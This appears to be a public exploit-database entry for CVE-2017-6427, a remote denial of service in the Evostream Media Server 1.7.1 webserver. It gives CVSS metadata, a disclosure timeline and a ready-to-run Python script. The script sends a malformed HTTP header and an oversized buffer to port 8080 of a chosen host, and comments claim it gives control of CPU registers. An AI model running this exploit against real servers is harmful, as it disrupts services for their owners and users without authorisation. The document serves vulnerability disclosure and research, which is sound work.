Evostream Media Server 1.7.1 Denial Of Service

Published
Credit
Risk
2017.03.09
Peter Baris
Medium
CWE
CVE
Local
Remote
N/A
CVE-2017-6427
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
5/10
2.9/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
None
None
Partial

# Exploit Title: Evostream Media Server 1.7.1 a Built-in Webserver DoS
# Date: 2017-03-07
# Exploit Author: Peter Baris
# Vendor Homepage: http://www.saptech-erp.com.au
# Software Link: https://evostream.com/software-downloads/
# Version: 1.7.1
# Tested on: Windows Server 2008 R2 Standard x64
# CVE : CVE-2017-6427

# 2017-03-02: Vulnerability reported
# 2017-03-03: Software vendor answered, vulnerability details shared
# 2017-03-07: No answer, publishing

import socket
import sys

try:
host = sys.argv[1]
port = 8080
except IndexError:
print "[+] Usage %s <host> " % sys.argv[0]
sys.exit()



buffer = "GET /index.html HTTP/1.1\r\n"
buffer+= "Host: "+host+":"+str(port)+"\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Accept-Encoding: gzip, deflate\r\n"
buffer+="Referer: http://192.168.198.129/login"
buffer+="Connection: keep-alive\r\n"
buffer+="Cont"+"\x41"*8+":\r\napplication/x-www-form-urlencoded\r\n" # RCX Control
#buffer+="\xff\xad\xde"+"\x41"*8+":\r\napplication/x-www-form-urlencoded\r\n" # Remove hash to control RDX and CX(it will have the value 0x000000000000dead)
buffer+="Content-Length: 5900\r\n\r\n"
buffer+="B"*4096 # This is just to prove that the stack will also contain any buffer delivered with the malicios HTTP header
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((host,port))
s.send(buffer)
s.close()


See this note in RAW Version

 
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